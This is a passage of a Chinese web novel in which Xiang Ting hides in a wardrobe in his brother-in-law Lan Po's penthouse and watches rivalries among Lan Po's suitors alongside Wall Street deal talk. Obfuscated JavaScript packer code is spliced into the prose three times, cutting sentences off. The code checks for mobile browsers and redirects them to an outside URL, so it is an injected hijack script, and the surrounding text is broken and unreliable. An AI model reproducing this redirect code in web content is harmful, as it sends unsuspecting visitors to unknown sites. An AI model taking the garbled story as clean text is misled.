同事们三三两两地来上班了,麦当劳里的客人也多了起来。大家目睹了刚才那一幕,只以为是好心客人帮忙擦地,惨遭员工暴力。大家义愤的声音如阵阵热风,打在仍然瘫坐在地的白希利空洞的脑门上。 项廷晾上手帕,听到店长在外面叫他,应该是白希利投诉了。再追悔都已经迟了,刚刚真不该那么冲动。《钢铁是怎样炼成的》他读了三遍,保尔被人欺负,气得满脸发紫,也本想狠狠地给对方一个耳光,但是怕头一天上工就给开除了,才没有爆发。怎么自己就没忍下来呢? 项廷一心一意地盯着手帕,觉得它是始作俑者。一见到它,某种汹涌磅礴的情感就钻进了自己体内,有时使他柔软,像春水潺潺流过,冲刷他的心灵河床;而有时,轰地一声,他简直不知道它是从哪个深渊里爬上来的,一路从鞋底,爬上脚跟,顺着脊椎越爬越高,最后控制了他的声带,发出的叫喊声足以震碎高盛大厦四十层所有的玻璃。一切都碎了后,他往往会生出时空倒流、空间错位的幻觉。 这事简直太超自然了,项廷想。他一定要找到它的主人,哪怕花上大代价。 店长进来找他,知道人是伯尼引荐来的,从来没有刁难过他。况且白希利又没有在店面闹起来,扬言要跟麦当劳全球总裁当面告状之后,便小公鸡似得挎起小书包走了。 店长拍拍他的肩:“看你这两天有点儿不在状态,是不是太劳累了?今天你就先回家,好好休息一下,明天希望看到满电池的你!” 另一头。白希利气到模糊,过马路时完全忽略了红绿灯的存在。 就在这时,一个身影正如初见那天的箭矢一般从侧面冲过来,在时间停滞的那一刻,项廷猛地将白希利往后一拽,紧接着用身体护住他,两人一同滚落到路边的安全区。耳边是急速驶过的汽车,风声几乎要把他们卷入其中。 “你没事吧?”项廷把他拉起来。急切的声音在耳边响起,白希利这才反应过来,刚才的一幕,离鬼门关只有一步之遥。我踩了他的手帕但是他追上来用命救我,我可比蓝珀在他心里的分量重多了!白希利的愤怒如同被冰水浇灭,取而代之的是前所未有的庆幸和催人泪下的幸福。患难见真情,他一下子就不计前嫌了。 “我…我没事,多亏了你!你、你不用上班了么?”白希利还在打着嗝,嗝颇有几分娇憨,对这突如其来的守护者又惊又喜,“不上班就算了,怎么还尾随我呀?呀,真是的……” 项廷有点懵了,心想这怎么回答啊。肯定不能说:我有超能力,哪里有危险我哪里出现。我往地铁站走,脑子里突然报警,看背影认不出是你,但就是一只流浪猫快被撞飞了我也得扑上来救啊。 项廷为保住工作:“我来跟你说句对不起,我承认我也有一点防卫过当。” 听了这话,白希利便很是了然。据他观察,白谟玺也经常玩这一招,当时装作漫不经心,等到事后再去追怀弥补。 项廷双手合十:“请你别投诉我好吗?这工作对我真的特别重要。我可以赔钱给你,咱们把这事儿私下解决了。” “钱、嗝?我看着居然像个缺钱、要钱的吗?”白希利最看不惯家里爱财如命的人,他认为自己虽然不得不命中注定生活在庸人堆里,却从不屑去注意他们做什么事。 接着,白希利灵机一动:“不投诉你?倒是可以考虑喔!条件嘛…你家里有没有人?” 他逃学出来,不出意外的话,家里已经乱作一团,大批人马正在四处搜捕了。他想去项廷家里避避风头,或者随便一个什么密不透风的地方好好藏上几天,急死哥哥,急死爸爸,急得全家老小寻死觅活! 项廷把人领到了地下室入口,白希利以为这是带他去参观自家的酒窖。得知这便是项廷每晚睡觉的地方,白希利大惊失色:“你就让我住这儿?你真的不知道我是谁?” “你不是马修吗?”项廷反问。 马修是白希利随口报出的一个化名,项廷又问中文名,白希利脑容量不够编不出来,就说姓马名修。 一般来说,当过兵的人内务都不会太差。地下室不到二十平方米,可被收拾得条条块块的。 只不过,白希利洗手的时候,完全没防备地被坏掉的水龙头滋了一脸。 项廷立刻用双手把水管的漏洞捂住,接着迅速找了件衣服缠上,然后开始折腾着修最上面那节出问题的管子。 等到终于搞定了的时候,这地下室已经快变成水帘洞了。 水漫金山,白希利被这条件恶劣的窝弄得目瞪口呆。项廷给他拾缀出一片干爽的地方坐着,自己跑出去,把自行车上的鱼桶卸下来,回来一瓢一瓢地往里舀水,一趟又一趟地出门去倒水。这样来回奔忙,愚公移山着。 最后一趟结束,项廷拴上家门,转身只见肥皂盒掉在地上,白希利歪在床上,手里正捏着那颗蓝莓糖。 项廷这次直接上手抢了回来。 “怎么搞的嘛?就一颗糖也这么抠门,难道又对你有什么特殊意义了?”白希利歪打正着。 项廷没回答。白希利撞撞他的肩膀:“我吃掉会怎么样?” 白希利本以为他会说什么“我不揍扁你就不是人”之类的话。但项廷侧脸严肃地拧着抹布,看都没看他一眼,无比平静地说出了:“我会杀了你。” 白希利毛骨悚然,过了好一会两股还在瑟瑟发抖。只好放弃了这个话题,固执地把脸看着窗外不转过来,意思要哄。 项廷似乎没有注意到他的冤家情绪,反而开始自顾自地读起了英语,他现在的教材不是课文,而是英文小说。白希利听着他读了两页,实在是忍不住了,开始自动纠正起项廷的发音。项廷赞叹,你说话(的发音)真好听。白希利坐在床边跺着双脚:你油嘴滑舌,你花言巧语! 为了回报他成为自己的英语搭子,项廷吹了口琴弹了吉他。刚拿出来时,白希利觉得不时髦,他喜欢电吉他电贝司电嗓子电这电那的。可听了一曲之后,白希利从五岁起跟随过的钢琴名师无数,从来没有谁能激发他的音乐细胞,今天他却觉得项廷的这一套才叫玄奥。 吹了一会儿后,项廷感觉嘴巴有点干,戛然而止。低下头时,看到白希利望着他,水溜水秀的小嘴微微嘬着。 白希利脑袋里面糊糊的一摊稀。他对同性的意识仅限于白谟玺的启蒙,还没有成长为一种固定的性向,他只是纯粹觉得这样酷毙了,非常反叛,个性解放罢了。 即便是之前和高年级的棒球队队长约会,那是个头发染成桔黄色、胸前写着“亲亲我的屁股吧”的大帅哥,白希利的心中也没有太多涟漪,反而现在很喜欢与项廷待在一起,讲话嗓音都细柔了不少。 是啊,谁的初恋不是一篇组诗呢? 两人并排坐着。就在项廷准备侧身把吉他挂回墙上的时候,白希利误以为他有什么其他企图,立马伸手做了推挡的动作,倏地站起来慌张地说:“我们出去玩吧!” 中饭也没吃,就到了大下午。去超市买完充饥的面包,出来看到街边在兜售彩票。白希利跃跃欲试,项廷跟他说彩票是骗人的,在四十九个数号中填六个,不可能填得中。白希利说,一辈子只中一次就够了。中了就是几百万, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398199|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一辈子都不要做事了。项廷马上否定说,不,我要当老板,自己当老板。白希利说他是个穷光蛋,狂泼冷水。项廷却断言,试看三年后之曼哈顿商海,竟是谁人之天下?白希利看他英姿飒爽,心跳又咚咚加速,问起来,你的志向这么大,你爸妈做什么的呢?项廷学会了低调,只说我的父母都是农民,目不识丁。却惹得白希利更加好奇。 路过一家剧院,白希利要进去看戏,可他没有见过钱,自然没有买单或者AA的意识。项廷怕他投诉,这个钱该自己出。于是买了张价高的前排座,单独给白希利,自己坐最后面。白希利惊奇,项廷便说:“我听不懂,坐前面也白坐了。”正是这份坦诚感动了白希利,拍着胸脯说:“以后你的英语包在我身上了!保证三个月让你学成出师。” 戏快开场了,项廷催他坐到前头去。白希利想他囊中羞涩,还这般为我买单,煞是心软。但实际上,项廷心里想的是,白希利毕竟是残疾人,单靠一只眼睛看不清舞台。想到从前也有战友中弹变成独眼,他不由对白希利多了几分照顾。那眼睛还用一块纱布盖着,应该是受伤没多久吧?其实已经三年了,当下的医疗技术也足以安装一只义眼,可白希利非要保持着海盗船长的造型,就是为了时时刻刻提醒全家人他的深重创伤:这只眼睛,就是因为蓝珀没的! 白希利浑身充满爱情能量,对象却不在身边,无所事事,闲得心烦。戏到中场,便离席拉着项廷走了。 可是刚出剧院门口,便见到家里的两个保镖在巡逻,白希利鼠窜。逃到一个暗巷里,白希利心里冒出来一个极好玩的去处,最危险的地方也最安全。 白希利说:“走,去我家!” 项廷骑自行车,载着白希利来到上城区。这里每一座房子都像是悬浮在城市之上的王冠,高级Spa、宽敞的屋顶花园、专属的礼宾服务面面俱到。 西57街,68层高楼,俯瞰中央公园。 项廷送他到楼下,说:“你上去吧,我还要回去干活。” 白希利拗不过他,说教他学英语也挽留不了他,闷闷不乐地自己进电梯了。好在项廷还算绅士,半个身子探进来,问他要按几楼。 白希利并不知道,项廷在楼下徘徊,根本就没走。原来,项廷无意中看到了白希利手里那把钥匙,钥匙头上雕着个线条简单的龙头。这片区域的住户非富即贵,应该家家户户装的都是特定品牌的防盗门吧?要复制这种门的钥匙,通常得拿上身份证啊、房产证。但是,在唐人街有个老手艺人,搞这一行的灰色交易,根本不管你有没有证明。那师傅出品的钥匙上,通常就有这个龙头,一模一样。 很有可能,白希利盗配了别人家的钥匙,白希利是小贼。 项廷犹豫了一会,正义感还是驱使他,上去探个究竟。 六十六层,只有一家住。大门敞着,广寒宫似得冷气嗖嗖往外冒,看来就是这了。 项廷敲了敲门,如果白希利心里有鬼,项廷希望敲一下能把他震出来。 无人回应,项廷只能进去找他。 现代化的豪华大平层,主色调是极简的黑白,可玄关静静地放着一把白玉芦笙,墙上挂着栩栩如生的蚩尤白银半身像,客厅的中心供奉一颗硕大无比的水晶球。水晶球内似乎有着流转的光影,过往如影随形,未来触手可及。 “马修?” 项廷叫他,依旧没人回。他一间又一间地拧开路过的门。这很冒昧,可是项廷的不安感越来越强烈,他甚至怀疑白希利要入室杀人,他必须得阻止。 然而,在这一排房间的尽头,最后一间却紧锁不开。走廊尽头一大捧深紫色不知名的花,弥漫着甘甜香气。香味在空无一人的走廊里荡开来,项廷忽然一阵头晕目眩,想出去,可不得不在客厅的沙发上坐下缓一缓。 脑子里一片金星乱舞之际,他听到了外面的脚步声。 好像是房子真正的主人。 白希利不见了,现在要是被人揪出来,那么贼就是自己了,百口莫辩。根本没得洗,明天就得被遣返回国! 项廷晕得手脚不听使唤,在要被主人抓个正着的最后一秒,藏进了更衣间的柜子里。 衣柜的门缝开了那么一丁点,他看见进来的男人一脸倦容,体态给人一种赤裸裸无防卫的感觉,愈显得腰身袅娜,轻薄风流。 后面又跟着进来一个男人,家门这才关上了。 两个男人之间一句话都没说,可是充满了骚动不安的气息。 项廷把衣柜门关得死死的。 深呼吸,深呼吸,他得冷静冷静! 好像,这是姐夫的家,姐夫回家了,带着男人回了家。 13. 任是无情也动人 蓝珀出席了一场慈善晚宴。酒浓度不高,小甜水似得,但是他好像有心事,一直在喝。 众所周知,蓝珀的酒量真说不上好,又没带司机来,上司费曼便送他回家。 车程半小时,两人全程无交流。 到了蓝珀家楼下,沙曼莎传来简讯:客户说正在进一步研究,很快会答复我们。言下之意,督促蓝珀醒醒酒,别睡过去了,耽误几百万。 原本费曼也要亲力亲为的。蓝珀便邀请他上来坐坐,一鼓作气将事情谈妥,免得回头还要十几轮邮件折腾。 费曼起初一口回绝掉。蓝珀的眼神那般高高在上,却说:“你走了,你又赶另一场热闹去了,你想想我的处境吧。” 来了蓝珀家,第一件事,全身消毒。 蓝珀直接去了浴室。项廷再次打开一条缝,望着大门的方向蠢蠢欲动。 然而,费曼没去客房洗澡。他听到书房的传真机在响,传真纸一行一行打出来,他把文件取出来,坐回客厅里阅读。 就这样,项廷的第一次逃跑计划失败了。 更衣室的衣柜,远远地斜对着客厅的沙发。 二十分钟后,项廷便见到,他的姐夫裹着一件奶油色真丝、荷叶袖柳腰的睡袍。 即便是在古代的春宫画卷中,睡鞋和膝裤也是决计不能脱的,美其名曰不能做无叶之花,可姐夫从蓬松的银狐毛中滑出一双乳白带藕色的无瑕裸足,窈窕地蜷到了沙发上,大腿轻折身体斜倚,手夹起一支细烟,香雾秾花。 而他旁边的英国男人西装革履、正襟危坐。 项廷意志模糊,又看不清脸,却也认得那绝对不是白谟玺。白谟玺比较前卫,这个新任奸夫却酷似古堡里的吸血鬼公爵。不管蓝珀怎么样,他都视而不见状,保持着老板在下属面前应有的深沉似得。 项廷叹服,姐夫胆子可真大啊,居然敢在(至少)两个的男人中间耍花枪,竟然摆得这么平!同时他也想不通,怎么这些男的都大脑灌水呢?爱上一个有妇之夫,搂搂抱抱亲亲爱爱。 项廷比蓝珀小了将近一轮,观念却老派得可以:一夫一妻,死心眼到底。他在部队上终日打熬筋骨不近女色,对生活作风有问题的异性恋尚且颇为鄙视,何况现在目睹一个又一个淫/乱的同性恋了?真的,马脸,猫王,吸血鬼,你们这样全部都是有病的,敬请接受电击治疗。 费曼皱了皱眉,他原以为去拿的是客户资料,却发现那是蓝珀私底下的生意。蓝珀干的是掮客活,有时候还充当官方外包的谈判专家。 那文件标题:《股东会议记录及共识备忘录》。 蓝珀也不介意他看了,一边吞云吐雾,一边还随口抱怨上了:“我开始给他们两个方案,还以为韩国人和我一样,有点诚意,往我这边靠靠,结果呢?他们反倒是从两个里挑自己喜欢的,有利的条款。就好比我跟卖表的说,要么贵点买新的,要么便宜点买旧的,他却非得以新的价格卖我旧的。难道我是自发自愿的傻瓜,行了吧?” 蓝珀在帮美国的资本,买韩国的银行。这种规模巨大且复杂的收购,不可能像在菜市场买菜那样简单。蓝珀不时穿插两句笑话,费曼倒是一次也没有笑过。 蓝珀披上薄毯子,走到开放式的厨房,倒了一点冷牛奶,站着喝了小半杯。 厨房的灯光亮一些,项廷看到姐夫的睡袍在闪闪发光,但也或许是他全身都涂了带亮片的润肤油,不一定。总之,火彩超越钻石,璀璨得人头昏脑涨,看到这一幕的项廷好像突然理解,童话中公主的裙子是太阳、月亮和星星的光辉纺织的那种面料了。 忽然,蓝珀说:“先生,你要报纸吗?” 项廷这次肯定听懂了,费曼用磁带式的伦敦音,来了一句,excuse me? 蓝珀笑道:“每次我路过你的办公室,你立刻就举起一张报纸,把自己藏起来。难道我是追债的?你这么防着我,没意思!” 费曼说:“如果你需要我的建议,我会说耐心点。现在买方担心经济下滑,正常贷款变坏账,评估保守。政府则希望经济复苏,坏账转好,因此可能对贷款价值过于乐观。预期迥异,所以结果会大相径庭。但按照你的方案,现在无需急于评估。经济如预期恢复,贷款损失最小,需要返还的坏账也少,这对双方都有利。希望金监会也能认同。” “听听,我知道你是个大人物。”蓝珀走回他身边,自己喝牛奶,却递给对方红酒,“资本市场的冬天来了,投行业务都要冻结,很长时间都没事儿干。我说,该加入买方了。” 费曼说:“所以你的甜言蜜语突然泉水般涌现,目地仅仅在于劝诱我考虑跳槽?” 高盛这样的投行,就像一个销售员,帮公司卖东西或者找钱。而蓝珀业余做的私募股权投资,角色则是买家,买了企业再卖,赚个中间价。 蓝珀坦白:“是又如何?我对投行彻底提不起兴趣了,去意已决,多少钱都留不住我。但同时,我又不想与那些平庸之辈为伍。所以我要拉着你一块,一起飞往未知,这难道有错吗?不是我喜新厌旧,没人容得下我。上个礼拜,参议院的参议员伯尼向国会提交了《矿产行业透明法案》。他在里面骂我。” “如何?” “他指名道姓,Lan与高盛正在等华尔街的利空释放完之后,石油价格掉头向下,做多石油赚取大把银子的这时候反手过来做空石油,依然大赢特赢。而美国民众不得不容忍100美元以上的石油了。俄罗斯人富有了,他们赚来的钱是美国人在埋单。俄罗斯能够挺起腰杆跟美国抗衡,以Lan为首的投机商功不可没。” “后天我与伯尼见面,欢迎你一同前来。” “我怎么会有这么大的胆量,敢认识他?” 蓝珀的似笑非笑大有意味。 盛着红酒的高脚杯放在桌上,费曼并没有端起来。蓝珀拇指托住杯脚,往前递了递。 可是似乎蓝珀不胜酒力,酒的后劲上来了,红酒快倾倒的时候,费曼接了过来。 两人的手碰到了那么一刹。蓝珀不经意地接着笑道:“你去和他谈谈就够了,向他保证我知错能改了。有个说法,叫先钓上来再调包。” 费曼垂下眸,眼瞳如一块具有神性的深绿宝石,仿佛蕴含着天使不着痕迹的祝福:“你看起来有点低血糖,你不应该喝完酒去洗澡。” 蓝珀说:“哦,我的不舒服,你 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费曼的神色丝毫不变,可是要写字时,他这才发现笔头都缩回去了。 刚刚蓝珀“不小心”也按下了卡簧的按钮,可费曼浑然没有察觉似得。 蓝珀把手搭在费曼肩头,轻轻挑起周遭的温度,然后他把自己的下巴枕在那只手上,那微妙的重量甚至不胜一片最轻盈的羽毛。 目光并未落在人身上,而是似有似无地掠过那份合同,流连了那么一小小会儿。 呼吸流动咝咝的电流,发射心想事成的魔法一般,价格那栏便出现了蓝珀最心仪的数字。 蓝珀不经心模仿着字迹,签了他的名字,还说:“看吧,当我代表你的时候,凡事都讲求风度。” 一切心满意足之后,蓝珀马上下了逐客令。一瞬间就只剩下空气里的香味柔媚如故。 衣柜里的项廷此时快撑不住了,他怀疑那束紫花是某种生化武器,发散出致幻的气体,头脑更里被千军万马踩过似的乱七八糟。看他们起身向门口走去,才松了一口气。 临别,他们还讲了两句话。项廷离得太远,听不清。 好像蓝珀笑了笑,这么远,他一笑都给人一种似有似无的微痒。他个子高挑,明明不蔓不枝好端端地站着,却好像身段会随着点点杨花水云般流动:“别做出圣诞冰雕一样的表情吓我,好吗?我什么时候利用你了,好吧,那是啊,那是,可你至少有了一个令人回味的周末。而且难道你和我说的话里就没有百分之一的假话吗?” 蓝珀不再理他,转身去冰箱里拿了一个冰过的水煮蛋。一个月多前的车祸,脸上受的伤还没有痊愈,他用鸡蛋滚着冰敷。 这男的怎么还不走,姐夫怎么还不睡觉?项廷都急麻了。 奇怪!明明胜利在望了,项廷为什么反而产生一种山雨欲来、黑云压城的预感呢? 费曼拧开门要出去,卡住了,拧不动。 因为外面的人插了钥匙,要进来。 有情有调的一个良夜,白谟玺手捧火红的玫瑰,正作出深情的一笑,迎头撞上了冷若冰霜的费曼。 14. 孔雀自怜金翠尾 空气即刻点燃,能量波水纹般一圈一圈扩散,项廷感到直面太阳磁暴,头疼欲裂。 直到砰的一声闷响,不是两个男人之中谁关上了门,是风吹上了它,雨夜中有一种惊心动魄的意味。 蓝珀这才发觉来了不速之客似得:“站那别动,我马上就来。” 蓝珀怀里抱猫的姿势,抱着一大瓶形似灭火器的医用酒精,走过来,对着白谟玺呲了一分半钟,玫瑰花便如沾了露水更加娇艳可人。 白谟玺纹丝不动站着被呲的同时,观察费曼。费曼硬挺的衣领,阔幅领带和扎扎实实上浆的衬衫,俨然是一位严肃银行家的行头。它们表面都没有呲过的痕迹,他要么是进门就没被呲,要么是呲了但二人世界久了呲痕消失了。哪一种可能性,都让白谟玺的脸色煞是不好看,肉眼可见地阴沉下去。 淋浴结束,蓝珀一边支使白谟玺:“下这么大的雨,快把鞋子扔出去。”一边招呼费曼:“等雨稍微小一点再走吗?” “我的司机等了我很久。”费曼淡漠道,“你也有你的宾客需要款待。” 话音刚落,白谟玺很有点花花公子味道地露出一笑:“今天如此之特别的聚会,介怀什么主客之分,是否太过于拘泥了?我早就请求Lanny,不吝将他的朋友全部介绍给我。最好我认识,或者是我想认识的,起码要对味,能够一起玩得来。当然,如果实在匹配不上其中任何一点,我还是会以礼相待。” 项廷一只手撑着衣柜的门,另一只手攥着一根衣架,防止昏倒以后直接滚到外头去。现在一个没走又来一个,项廷感觉自己何止要小丑变大丑了?他是棺材板上又被多钉了颗钉子,因为姐夫可能不会把他扭送警察局,但白谟玺嫌疑极大。 蓝珀没事人一样回沙发上歪着了,看电视,增加一些茶歇环节,吃戒烟的磨牙棒,即自己烤制的水果蔬菜干。 那两男的还在门口杵着,这是干嘛呢?项廷看到他们握了手,白谟玺先伸的手,他用的词汇太高级了,古英语还是法文希腊文?听不懂。项廷依照人之常情理解,白谟玺应该在说久仰久仰;但凭其语气判断那是,长久以来耳闻阁下盛名,近看实物还真是让人难以置信呢!啧。 这时沙曼莎来电,确认两件事,一蓝珀没睡着,二费曼在他身边。 沙曼莎认为,蓝珀的不靠谱是基因问题,无法改变,必须要费曼主持大局。他们现在急需一单生意开张,而蓝珀的风格是在各种寒暄中进行各种试探,但对关键的交易分歧却欲言又止,导致谈判效率极为低下。好像特别羞于针对具体的商业条款交锋,在那相互猛打太极。这,还是满状态、清醒的蓝珀。 要说蓝珀有多离谱,沙曼莎简直如数家珍:蓝珀常常疑心自己得了不治之症,每月都得有几天卧床养病。他实在是个自相矛盾的人,有时候病恹恹的,有时候精力勃发,发动跨国并购大战就像翘着大尾巴的狐狸冲进了鸡群,可很快能量耗尽之后又得卧床不起。每到夏天就完全放弃工作,失联、失踪。即使入了秋,只要气温高于十八度他就镇日在寒玉床上大字挺尸,虚弱的身体像剖开的雪梨一样缓慢失水,同时又不断往外沁着光莹莹的细珍珠。董事会责问他在家里躺着做什么,他说我给好多客户打电话介绍我自己。 蓝珀说人在,沙曼莎不信。蓝珀勾勾手指,让费曼过来,对着电话吱个声。刚才还气势汹汹地向上管理的沙曼莎,一听到费曼的嗓音,反过来被吓了大一跳,敬语稀里哗啦地全用上了。 沙曼莎向费曼同步一些进展,电话没开免提,蓝珀侧卧在沙发上,抱一个心形的靠枕,稍稍直起身体,侧耳去听。 白谟玺从沙发后路过,手从听电话的两个人中间伸过,大模大样地突破了这层胶漆。 蓝珀怪了一句:“不要碰我,要离我远一点,感冒很容易传染的。你要是病了,我也会很难受。” “没听说喝酒能防治感冒,不过也不妨一试。”白谟玺刚刚别扭的动作,似乎是为了穿过两人,取走茶几上的酒杯。 蓝珀说:“你拿的费曼的杯子呀。” “哦,我只是想帮你清洗干净而已。”白谟玺俯视一眼蓝珀的穿着,纯白的轻纱宛若一个吹弹可破的蝴蝶梦,又一股子醋气直往外冒,“毕竟你都没有力气穿好衣服了。” 白谟玺去洗杯子,费曼则礼贤下士的姿态,表示不用劳烦,自己的东西自己来。两个人一前一后来到厨房的水槽那儿。 项廷见状,开始规划他两这时候打起来,蓝珀冲上去拉架,自己趁机逃出去的路线。 可项廷一点都不了解费曼。费曼何许人也,他贵族的底蕴可不是通过住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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都说穷寇莫追,白谟玺却非要置情敌于死地,一遍又一遍地宣誓主权:“怎么了?我的话让您深深迷惑了吗?难道我们所用的语言不相通?这个词在美国的英语里叫作未婚妻,在贵国的词典中就没有这一条吗?” “从广义上讲,未婚妻,这个词是全球通用的。”费曼一边不动声色地从厨房离开,不再跟幼稚的民众一般见识,但一边说,“然而狭义地在我家里,举国将称他王妃。” 15. 西施绿珠可倾国 白谟玺嘴角抽了几下,抽成一个得体的笑:“哦呵,不论你是第几顺位,别忘了你这会儿光荣地踏在自由之地——美国。就算你家那位亲爱的祖奶奶点头成全你,特批你顶着你的小皇冠飘洋过海,但你为了Lan呆这儿整整十年了,王室身份也就是曾经云烟了吧?一个连继承权都自动放弃了的王子,还梦想着找个王妃?在美国是要交税的,王子殿下!” 费曼说:“相比较我的王妃,你的未婚妻更加不成立。Lan已经结婚了,和一个中国女人。” “当然,我对这件事了如指掌——这故事的每个细节,我都是最早知情的人。他们的婚姻有名无实,Lan是为了报恩,他是一个以德报怨的人。而且,他总是活在自己的小世界里,对外界的看法漠不关心。所以,即便他已婚,在我这里,他永远是我的未婚妻。” “似乎,你得先了解一下美国法律有何看法。” “请你也不妨适当咨询英国皇室对此的立场!” 蓝珀尽力忍住一个个打上来的哈欠,煮了满锅的红酒,深邃的宝石红,散发秋天的果实与温暖的香料混合的芳香,配上刚出炉、撒满糖霜的肉桂卷。可家里却没人能一起分享这美味,他走了一圈,最终找到那两个人,神神秘秘地躲在书房里交头接耳的。 蓝珀敲了敲半开的门,这时屋子里正回荡着白谟玺的几片冷笑。白谟玺双手交叉,靠墙站着,下巴扭来扭去好像牙疼,支支楞楞的黑头发冒着热气。费曼坐在书桌前,像把这当临时办公场所一样,脸上一片苍白沉静的气色。他身后是遮得死死的厚丝绒窗帘,整个画面仿佛电影中的一张无声大特写。 “在聊什么?关于英国和美国的话题?” 蓝珀朝他们走过去,先坐到了费曼座椅的扶手上,把他桌上的瓷盖茶碗悠悠一合:“你又在欺负我朋友了吧?别开这种伤人的玩笑。真是江山易改本性难移,约翰牛脾气一开口就走极端。你们这种爱挑刺儿的英国人我见得多了,走到哪儿都肩扛一根大棒,打遍全世界就是不打你们自己。” 白谟玺忍了但没完全忍,还是缺德地笑了出来。蓝珀的声音听着好舒服,像只猫一样。 接着,蓝珀就用这么好听的音调,附加上那副对众生不屑一顾的神情,把头偏回来看向他:“但美国人也是该打屁股嘛。一没文化,二没传统,三没教养。你随便在哪儿观察一位呆头呆脑满嘴蠢话的美国游客,就明白里根这种角色怎么能连任总统了。” 费曼始终面不改色,这才见出文明的层次高低来。 “撒切尔夫人和里根先生,简直是绝配啊。再者说,美国的知识分子们,特别是那些所谓的自由派,对美国的文化政治简直是毫不留情地批评,比起所有的欧洲人都来得厉害。他们把世界说成一个污浊的池塘,把美国也说成一块臭不可闻的石头。不像英国自由派,人家是牛那个,自己却是清新的鲜花。”蓝珀笑了笑,不禁惋然长叹,“你们就是不愿听劝,我也不多说了。随你们怎么吵,可惜这些偏见,谁也不是一顿骂就能摆脱得了的。” 费曼说:“请继续,很有趣。” 蓝珀招了招手,让白谟玺到书桌这来。 “我说英美隶属于所谓的五眼联盟,就像是五朵彼此相连的花瓣。每片花瓣虽然独具特色,但它们共同依托于同一朵花。虽然伪装成五个独立国家,但实际上都是盎撒人侵占的领土,本质上是同一个大家庭穿着不同的外衣。首都从伦敦到华盛顿的变化,更不过是家的港湾换了个位置。” 蓝珀一只手落在费曼肩上,另外的手递给了白谟玺一支上等雪茄,手指如名器精雕而美琢,一举一止自然却不俗:“所以彼此间,其实都是一家人哦。” 十点半,大家吃完了夜宵,在客厅里看电视。费曼还在等韩国方面的回复,看来今晚是个不眠之夜。蓝珀的手机铃更响个没完,他拿起遥控器,把电视音量调小了。 费曼坐在他旁边,白谟玺则孤零零地坐在拐角的单人沙发上,也就是一开始费曼坐的位置。白谟玺是吃肉桂卷吃慢了,才从双人沙发上被迫转移到这里来的。这时他心里正在为这种位置的调换而不爽,好像无意中把一个有利的地形拱手相让给了竞争对手。确实,光从三个人坐的位置来看,就像一对夫妻在接待一个拜访者。 白谟玺简直气坏了,可是又不能发作出来,否则不旦丧失风度,也好像他出其不意地出现在蓝珀家门口就只是为了专门看看他是怎么跟别的男人眉来眼去的一样。其实他真的也就是正在独自品味一腔热血被一瓢冷水迎面泼来的滋味,冷到心底去了。 白谟玺在想怎么翻盘。他先是舒服地伸展了下身体,采取了个斜斜的姿势,腿交叠起来。然后就看电视,特意换到了正在播他主演的爱情电影的频道上。 他隐约感受到蓝珀可能已经对他投以一瞥,可能希望他早点告辞。他决定装傻充愣。白谟玺对自己的定力很满意。这个时候还能坐得住,那必须能坐得住啊! 白谟玺倒想看看,费曼能撑多久,这个英国佬就像巡回展示的一尊蜡像那么坐着。自己是不会轻易离开的,那等于是还没过招就丢盔弃甲,一个灰溜溜的逃兵。在这儿待得越久,就能越打击到对手。 此时此刻,他必须死守在这保持他的存在。是的,存在。存在是个哲学概念,存在也是一个外交辞令。美国人对越南的入侵都能叫“军事存在”,费曼在蓝珀这也算不上有啥主权。你无名无分,还不如我。你能存在,我也必须存在。 这会儿,柜子里的项廷已经睡了一觉醒过来了。他竖起耳朵听姐夫和谁说话,牛听弹琴、不知所云。其实,不止他一个人懵圈。白谟玺童星出身,在哥伦比亚大学人类文化学专业撑了一年后,就转去戏剧俱乐部深造了,三个月拍四部电影,哪儿还有时间学习,而且还是金融知识? 事情不复杂,就是要发债了。财政部和蓝珀直接联系上了,但蓝珀有个规矩,不能以他为主导的业务,一概不予参与。所以答复很简单,如果请他来领衔主承销团的话,他们要拿到份额的5/8,然后摩根士丹利和其他一些所谓的可靠银行,比如贝尔斯登,分剩下的3/8。 贝尔斯登听说了,气不过,明明美国人手拿把攥的生意,你一个中国人寸功未立,上来就拿大头,天下哪有这样的道理!马上来讨价还价。但也愿意让步,如果能在广告中加上贝尔斯登的名字,与高盛一同出现,这标志着他们正式进入国际银行家的核心圈子,战略意义更大,少赚点钱也无所谓。 蓝珀态度毫无回旋余地:“对于银行家来说,钱不重要的,给了就给了,名誉和名节才是最重要的。” 贝尔斯登既恼怒又紧张:“那我们就要把这个问题升温了。尽管你在竞标中比我们强,但是我们可以为美国政府所用,而你,这个外来者永远无法获得真正的信任。” 贝尔斯登再次提出新的发行份额,请求蓝珀考虑能否稍微多给一点点,比2/8多一点点,范围在2/8和3/8之间,具体来说,31.25%。 如此婆婆妈妈的纠缠让蓝珀无奈,费曼做主答复:“28%,然后你们的名字放到广告上。” 蓝珀补充:“当然这个名字是出现在我的后面。” 对面脸绿了:“高盛是打算把美国债券在欧洲的销售全给垄断了吗?Lan,你四面树敌,恕我直言,整个华尔街都在抱怨你!” 蓝珀说:“你当然可以选择不带我玩,可是我太有名了,华尔街的每个人都会认为是我不带你玩。” “……如果我们在这次发债中不能作为主要承销商,那贝尔斯登和我个人都极其难堪。Lan,我请求你……” 蓝珀说改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 